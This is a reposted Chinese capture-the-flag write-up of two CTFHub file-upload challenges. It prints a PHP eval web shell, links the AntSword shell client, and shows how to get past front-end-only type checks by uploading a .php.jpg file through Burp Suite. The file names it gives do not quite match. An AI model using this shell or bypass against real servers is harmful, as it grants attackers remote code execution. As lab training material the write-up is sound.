CTFHub題解-技能樹-Web-文件上傳(無驗證、前端驗證)【一】


CTFHub題解-技能樹-Web-Web工具配置-文件上傳
 
 
本文先貼出 無驗證 和 前端驗證 的題解~
 
 
 
 
 
 
(一)無驗證
 
 
 
1.知識點
 
 
  需要用到的:
 
  (1)一句話木馬
 
  (2)中國蟻劍
 
  下載在這里:
 
https://github.com/AntSwordProject/AntSword-Loader/tree/2.0.1 
https://github.com/AntSwordProjectAntSword-Loader/AntSword-Loader-v4.0.3-win32-x64.zip at 4.0.3 · AntSwordProject/AntSword-Loader 
 
 
 
 
2.題解
 
 
 
 
筆者本來用的是 <?php @eval($_GET["pass"]);?> 
上傳發現用蟻劍連接不了~
 
所以重新換成POST上傳了~
 
 <?php @eval($_POST["pass"]);?> 
 
注意:pass是密碼哦~你可以自定義
 
 
 
 
 
下面我們看看有沒有有效的上傳:
 
訪問一下我們的一句話木馬目錄~
頁面沒有報錯,說明可以訪問!
 
 
在蟻劍添加數據:
 
http://challenge-5bf3cd70198a12f8.sandbox.ctfhub.com:10080/upload/kule.php
pass 
 
 
 
 
 
 
 
 
 
 
 
 
 
(二) 前端驗證
 
 
 
1.知識點
 
 需要用到的:
 
  (1)一句話木馬
 
  (2)中國蟻劍
 
  下載在這里:
 
https://github.com/AntSwordProject/AntSword-Loader/tree/2.0.1 
https://github.com/AntSwordProjectAntSword-Loader/AntSword-Loader-v4.0.3-win32-x64.zip at 4.0.3 · AntSwordProject/AntSword-Loader 
 
  (3)burpsuite抓包改包
 
 
2.題解
 
先右鍵查看一下源碼~
 
 
我們發現,它只允許 jpg、png、gif 格式上傳~
 
那我們就把一句話木馬改成這三種格式的任意一種吧!
 
(筆者太菜了qwq,努力ing)
 
那我們就上傳一個 ddddhm.php.jpg 
 
你可以任意取名~
 
 
把文件選擇好,然后打開瀏覽器代理,用burpsuite抓包~
 
 
 
 
Go一下,頁面200 ok 返回正常
 
 
上傳成功啦~
 
 
 
 
現在我們根據路徑用蟻劍連接~
 
http://challenge-205ed9ec00cccedf.sandbox.ctfhub.com:10080/upload/kule.php.jpg
pass 
 
 
 
 
 
 
 
 
 
好啦~
 
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM